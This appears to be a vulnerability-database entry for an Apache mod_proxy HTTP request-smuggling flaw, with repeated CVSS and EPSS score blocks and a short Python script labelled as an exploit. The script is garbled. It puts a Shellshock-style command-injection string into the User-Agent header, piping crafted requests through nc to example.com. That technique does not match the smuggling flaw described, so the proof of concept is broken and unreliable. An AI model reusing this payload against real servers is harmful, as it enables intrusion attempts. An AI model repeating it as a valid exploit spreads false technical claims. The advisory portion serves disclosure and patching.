9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.3 High
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.007 Low
EPSS
Percentile
80.7%
Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow for an HTTP request smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution.
# Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through
# 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected
# when mod_proxy is enabled along with some form of RewriteRule or
# ProxyPassMatch in which a non-specific pattern matches some portion of the
# user-supplied request-target (URL) data and is then re-inserted into the
# proxied request-target using variable substitution. For example, something
# like: RewriteEngine on RewriteRule "^/here/(.*)" "
# http://example.com:8080/elsewhere?$1"; [P] ProxyPassReverse /here/
# http://example.com:8080/ Request splitting/smuggling could result in bypass
# of access controls in the proxy server, proxying unintended URLs to
# existing origin servers, and cache poisoning. Users are recommended to
# update to at least version 2.4.56 of Apache HTTP Server.
import requests
def send_exploit(proxy_url):
exploit_headers = {
'User-Agent': '() { :; }; /bin/echo -e "GET /here/../here HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /nonexistent HTTP/1.1\r\nHost: www.example.com\r\n\r\n" | nc example.com 80',
'Connection': 'close'
}
exploit_url = 'http://example.com/here/../here'
response = requests.get(exploit_url, headers=exploit_headers, proxies={'http': proxy_url, 'https': proxy_url})
print(response.text)
# Usage
send_exploit('http://localhost:8080')
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.3 High
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.007 Low
EPSS
Percentile
80.7%